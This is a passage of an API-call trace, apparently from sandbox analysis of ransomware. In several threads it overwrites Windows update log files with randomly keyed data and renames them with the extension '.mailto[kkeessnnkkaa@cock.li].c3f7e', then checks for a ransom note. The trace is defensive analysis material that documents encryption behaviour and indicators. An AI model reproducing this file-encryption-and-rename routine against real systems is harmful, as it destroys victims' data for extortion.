	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf7e8
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ed00
	[0083.911] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.911] WriteFile (in: hFile=0x16f8, lpBuffer=0x481ed00*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2803fe44, lpOverlapped=0x0 | out: lpBuffer=0x481ed00*, lpNumberOfBytesWritten=0x2803fe44*=0x135, lpOverlapped=0x0) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf7e8) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.913] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl"
	[0083.913] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.913] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2803fdfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.913] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2803fdf4, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.914] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x2803fe08, FileInformation=0x2803fde0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2803fe08, FileInformation=0x2803fde0) returned 0x0
	[0083.914] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2803fe08, FileInformation=0x2803fde0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.915] FlushFileBuffers (hFile=0x16f8) returned 1
	[0083.916] CloseHandle (hObject=0x16f8) returned 1
	[0083.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.917] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.917] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.917] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0083.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e0c8) returned 1

Thread:
	id = 1140
	os_tid = 0x1e40

	[0083.610] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl")) returned 0x2020
	[0083.879] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", dwFileAttributes=0x20) returned 1
	[0083.879] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.006.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.880] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x280bfe50 | out: lpFileSize=0x280bfe50*=4096) returned 1
	[0083.880] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.880] ReadFile (in: hFile=0x16ec, lpBuffer=0x280bfdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x280bfdd4*, lpNumberOfBytesRead=0x280bfdd0*=0x4, lpOverlapped=0x0) returned 1
	[0083.881] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.881] NtQuerySystemTime (in: CurrentTime=0x280bfdb0 | out: CurrentTime=0x280bfdb0*=132251868106244234) returned 0x0
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x94c00f4b
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x8449429c
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x74064651
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x470ff503
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x58f0a3eb
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x115ae3e2
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x2a33bf9e
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xcfe8e1d5
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xe27f38d0
	[0083.881] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x68de1f79
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x7a64805f
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x496617b6
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xdd25a88
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xaf91fd8d
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x1052535d
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xed3e9a25
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x6b68d908
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xfb277958
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x289150cd
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xa2b18be9
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xce9bbb0f
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x31328dcb
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x91c4e64d
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x30d6f025
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xff02d0a2
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x5a92f8f0
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x4a219bb2
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x8292e470
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xfc4fdcb5
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x41a64ddc
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0xb739ac54
	[0083.882] RtlRandom (in: Seed=0x280bfdbc | out: Seed=0x280bfdbc) returned 0x73317b8b
	[0083.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.890] ReadFile (in: hFile=0x16ec, lpBuffer=0x5032038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x280bfdac, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x280bfdac*=0x1000, lpOverlapped=0x0) returned 1
	[0083.891] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.891] WriteFile (in: hFile=0x16ec, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x280bfda8, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x280bfda8*=0x1000, lpOverlapped=0x0) returned 1
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ebb8
	[0083.895] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.895] WriteFile (in: hFile=0x16ec, lpBuffer=0x481ebb8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x280bfe10, lpOverlapped=0x0 | out: lpBuffer=0x481ebb8*, lpNumberOfBytesWritten=0x280bfe10*=0x135, lpOverlapped=0x0) returned 1
	[0084.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0084.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0084.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0084.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0084.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0084.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0084.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0084.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0084.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea3a0
	[0084.881] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl"
	[0084.881] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.881] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x280bfdc8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0084.881] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x280bfdc0, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0084.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0084.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0084.882] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x280bfdd4, FileInformation=0x280bfdac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x280bfdd4, FileInformation=0x280bfdac) returned 0x0
	[0084.882] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x280bfdd4, FileInformation=0x280bfdac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.883] FlushFileBuffers (hFile=0x16ec) returned 1
	[0084.886] CloseHandle (hObject=0x16ec) returned 1
	[0084.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47335f8
	[0084.887] wcscpy (in: _Dest=0x47335f8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.887] wcscat (in: _Dest=0x47335f8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.887] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47335f8) returned 1
	[0084.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ddf8) returned 1

Thread:
	id = 1141
	os_tid = 0x1e44

	[0083.610] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl")) returned 0x2020
	[0085.494] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", dwFileAttributes=0x20) returned 1
	[0085.501] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1844
	[0085.501] GetFileSizeEx (in: hFile=0x1844, lpFileSize=0x2813f908 | out: lpFileSize=0x2813f908*=8192) returned 1
	[0085.501] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.501] ReadFile (in: hFile=0x1844, lpBuffer=0x2813f88c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2813f888, lpOverlapped=0x0 | out: lpBuffer=0x2813f88c*, lpNumberOfBytesRead=0x2813f888*=0x4, lpOverlapped=0x0) returned 1
	[0085.505] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.506] NtQuerySystemTime (in: CurrentTime=0x2813f868 | out: CurrentTime=0x2813f868*=132251868122494191) returned 0x0
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x871108f
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xf7e16bcf
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xf4990a8d
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x8c2b82cd
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xdfd3ee6
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xdeb11d1a
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x3ea1328
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x6524d8af
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x4ffb8d2a
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x13157ecf
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x729294f5
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x1b071ada
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xe1f1cd4b
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x57aa35b4
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xf41b600f
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xef807f1d
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x9f5c1d96
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xf3150cf0
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x8efadce1
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x22fa5625
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xe77bb56f
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xf31b922e
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xe81b413a
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x2b4d6fa9
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x2e07f515
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xc3ff74d7
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xcb92231
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x1bfc5ee2
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xeed9e8b
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0xd954c6be
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x78f8d4d0
	[0085.506] RtlRandom (in: Seed=0x2813f874 | out: Seed=0x2813f874) returned 0x54b0e9d6
	[0085.514] ReadFile (in: hFile=0x1844, lpBuffer=0x47db828, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2813f864, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2813f864*=0x2000, lpOverlapped=0x0) returned 1
	[0085.515] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.515] WriteFile (in: hFile=0x1844, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2813f860, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2813f860*=0x2000, lpOverlapped=0x0) returned 1
	[0085.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2d778a0
	[0085.517] SetFilePointerEx (in: hFile=0x1844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.517] WriteFile (in: hFile=0x1844, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2813f8c8, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x2813f8c8*=0x135, lpOverlapped=0x0) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.519] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea3a0
	[0085.519] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl"
